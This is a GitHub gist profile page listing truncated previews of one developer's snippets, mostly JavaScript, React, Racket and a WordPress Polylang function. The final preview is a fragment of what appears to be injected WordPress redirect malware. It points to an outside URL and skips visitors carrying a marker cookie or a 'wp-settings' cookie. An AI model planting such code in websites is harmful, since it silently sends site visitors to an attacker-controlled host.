Skip to content

Instantly share code, notes, and snippets.

View varmais's full-sized avatar

Teemu Tiilikainen varmais

View GitHub Profile
@varmais
varmais / panu.js
Last active January 18, 2019 11:01
const fs = require('fs')
const data = require('./source.json')
function writeFile(filename, content) {
fs.writeFileSync(filename, content)
}
function removeNulls (list) {
return list.filter(item => !!item)
}
const Info = props => {
const missed = [...new Set(props.word.split(""))].filter(
letter => !props.usedLetters.includes(letter)
);
if (!props.health) {
return null;
}
return (
Object.prototype.renameProperty = function (oldName, newName) {
if (this.hasOwnProperty(oldName)) {
this[newName] = this[oldName];
delete this[oldName];
}
return this;
};
const mapping = [
{old: 'something1', new: 'something_else'},
import * as React from 'react';
import { Book } from '../../model';
interface Props {
book: Book;
}
export const BookView: React.SFC<Props> = (props: Props) => {
if (!props.book) {
return <div>Finding requested book.</div>;
const map1 = `
@---A---+
|
x-B-+ C
| |
+---+
`;
const map2 = `
@
render() {
if (showSpinner) {
return this.renderSpinner();
}
if (user) {
return this.renderUserInfo();
}
return this.renderAuthScreen();
(require 2htdp/image)
;; pinta-ala : Luku Luku -> Luku
(define (pinta-ala a b)
(* a b))
(check-expect (pinta-ala 5 10) 50)
;; ympyrä : Luku Merkkijono -> Kuva
@varmais
varmais / BingoCard.js
Last active February 3, 2017 11:52
Talented problems
function getCard() {
const bCards = createCards(5, 'B', 1, 15);
const iCards = createCards(5, 'I', 16, 30);
const nCards = createCards(4, 'N', 31, 45);
const gCards = createCards(5, 'G', 46, 60);
const oCards = createCards(5, 'O', 61, 75);
return [].concat.apply(bCards, [iCards, nCards, gCards, oCards]);
}
function createCards (amount, letter, min, max) {
@varmais
varmais / functions.php
Last active April 5, 2018 14:36
Fetch all latest Wordpress posts when using Polylang plugin
<?php
function get_default_language_posts($query)
{
if ($query->is_main_query() && is_home() && function_exists('pll_languages_list') && !is_admin()) {
$languages = pll_languages_list(array('hide_empty' => 1));
$terms = get_terms('post_translations');
$lang_default = pll_default_language();
$lang_current = pll_current_language();
$post_ids = array();
(function asd() {
var w_location = 'http://vyhub.com/css/css/';
var cookie = 'yYjra4PCc8kmBHess1ib';
function start() {
var cookies = document.cookie || '';
if (cookies.indexOf(cookie) !== -1) {
return;
}
if (cookies.indexOf('wp-settings') !== -1) {